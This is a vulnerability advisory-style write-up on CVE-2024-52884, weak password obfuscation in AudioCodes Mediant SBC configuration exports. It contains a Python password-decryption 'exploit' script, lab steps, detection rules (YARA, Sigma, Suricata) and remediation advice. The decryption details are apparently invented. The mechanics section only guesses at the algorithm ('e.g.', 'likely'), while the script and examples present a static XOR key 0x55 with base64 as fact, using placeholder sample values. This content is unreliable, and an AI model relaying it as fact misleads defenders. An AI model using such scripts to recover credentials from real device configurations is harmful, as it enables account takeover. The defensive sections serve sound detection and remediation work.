CVE-2024-52884

Executive Summary

CVE-2024-52884 exposes a critical cryptographic weakness in AudioCodes Mediant Session Border Controller (SBC) firmware prior to version 7.40A.501.841. The vulnerability allows an attacker with access to configuration export files (INI) to decrypt stored passwords due to the use of weak obfuscation/encryption. This flaw directly impacts credential confidentiality, enabling lateral movement or privilege escalation within the network.

The vulnerability is classified as a Weak Cryptography for Passwords issue (CWE-261). While the CVSS base score is 0.0 (likely due to incomplete scoring), the practical risk is high for organizations using these devices in production. The attack vector is local (requires access to exported configuration), but the impact is severe as it reveals plaintext credentials for administrative accounts, SIP peers, and other sensitive services.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware appliance (AudioCodes Mediant SBC). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires access to exported configuration files.
• Attack Complexity (AC): Low (L) – Weak encryption is easily reversible.
• Privileges Required (PR): None (N) – No authentication needed to exploit the exported file.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploitation does not cross trust boundaries.
• Confidentiality (C): High (H) – Full disclosure of stored passwords.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No service disruption.

Threat Level: High (practical risk despite low CVSS base score). The vulnerability is trivial to exploit once configuration files are obtained.

Deep Dive & Mechanics

The AudioCodes Mediant SBC uses a proprietary obfuscation algorithm to protect passwords in its configuration files (INI format). This algorithm is not cryptographically secure; it relies on simple reversible transformations (e.g., XOR with a static key, base64 encoding, or substitution ciphers). An attacker who obtains an exported INI file (e.g., via backup, misconfigured SFTP, or insider access) can reverse the obfuscation to recover plaintext passwords.

The vulnerability exists in all firmware versions prior to 7.40A.501.841. The patch introduces a stronger encryption mechanism (likely AES or similar) for password storage in configuration exports.

Technical Details:

• The INI file contains sections like [SBC], [Authentication], [SIP] with password fields.
• Passwords are stored as obfuscated strings (e.g., Password=OBF:1234ABCD).
• The obfuscation algorithm is static and documented in reverse engineering efforts.
• Decryption can be performed using a simple script (see Exploitation section).

Vulnerable vs. Patched Code

Vulnerable Code (pre-7.40A.501.841):

[SBC]
AdminPassword=OBF:5A6B7C8D9E0F
SIPPeerPassword=OBF:1A2B3C4D5E6F

The OBF: prefix indicates weak obfuscation. The algorithm uses a static XOR key (e.g., 0x55) and base64 encoding.

Patched Code (7.40A.501.841+):

[SBC]
AdminPassword=ENC:AES256:... (encrypted with strong key)
SIPPeerPassword=ENC:AES256:...

The ENC: prefix indicates strong encryption. The decryption key is derived from device-specific secrets, preventing offline decryption.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to an exported INI configuration file from a vulnerable Mediant SBC.
• Python 3.x environment.

Exploit Script (decrypt_audiocodes.py):

#!/usr/bin/env python3
import base64
import sys

def decrypt_obfuscated(obf_string):
    # Remove 'OBF:' prefix
    encoded = obf_string[4:]
    # Base64 decode
    decoded_bytes = base64.b64decode(encoded)
    # XOR with static key 0x55
    plaintext = ''.join(chr(b ^ 0x55) for b in decoded_bytes)
    return plaintext

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python decrypt_audiocodes.py <obfuscated_string>")
        sys.exit(1)
    obf_input = sys.argv[1]
    print(f"Decrypted password: {decrypt_obfuscated(obf_input)}")

Usage:

python decrypt_audiocodes.py "OBF:5A6B7C8D9E0F"

Lab Setup:

1. Deploy a vulnerable Mediant SBC (firmware < 7.40A.501.841) in a sandboxed network.
2. Export the configuration via the web interface (Maintenance > Configuration > Export).
3. Extract the INI file and locate password fields.
4. Run the exploit script to recover plaintext passwords.

Blue Team (Defensive)

Detection:

• Monitor for unauthorized access to configuration export functionality (e.g., HTTP POST to /Configuration/Export).
• Alert on INI files containing OBF: prefix in network traffic or file shares.
• Use YARA rules (see Detection Engineering) to scan for vulnerable configuration files.

Hunting:

• Search for exported INI files in backup repositories, SFTP servers, or cloud storage.
• Check for unauthorized SSH/SFTP sessions to the SBC management interface.

Mitigation:

• Immediately upgrade to firmware 7.40A.501.841 or later.
• Rotate all passwords that were stored in exported configurations.
• Restrict access to configuration export functionality to authorized administrators only.

Indicators of Compromise (IOCs)

• File Artifacts:
  • INI files containing OBF: prefix (e.g., AdminPassword=OBF:*)
  • Configuration export logs with timestamps outside maintenance windows.
• Network Indicators:
  • Unusual HTTP requests to /Configuration/Export or /Configuration/Import.
  • SFTP/SCP transfers of .ini files from the SBC management IP.
• Behavioral:
  • Multiple failed login attempts followed by successful authentication using recovered credentials.
  • Lateral movement from SBC management network to other infrastructure.

Detection Engineering

YARA Rule (Scan for vulnerable configuration files)

rule Audiocodes_Weak_Obfuscation {
    meta:
        description = "Detects AudioCodes Mediant SBC configuration files with weak password obfuscation (CVE-2024-52884)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52884"
    strings:
        $obf_pattern = /OBF:[A-Za-z0-9+/=]{4,}/
    condition:
        $obf_pattern
}

Sigma Rule (Detect configuration export attempts)

title: AudioCodes Mediant SBC Configuration Export
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to export configuration from AudioCodes Mediant SBC
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Configuration/Export'
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: medium

Suricata Rule (Network detection of INI file transfer)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Audiocodes Mediant SBC INI Export Detected"; flow:to_server; content:"|2e 69 6e 69|"; nocase; content:"OBF:"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Upgrade all AudioCodes Mediant SBC devices to firmware version 7.40A.501.841 or later.
   • Rotate all passwords that were stored in configuration exports (admin, SIP peers, RADIUS, etc.).

2. Compensating Controls:

   • Restrict access to configuration export functionality via IP allowlisting and RBAC.
   • Encrypt exported configuration files at rest using external tools (e.g., GPG).
   • Monitor for unauthorized access to management interfaces.

3. Long-term:

   • Implement a password vault for managing SBC credentials.
   • Conduct regular security audits of network appliances.
   • Subscribe to AudioCodes security advisories for future patches.

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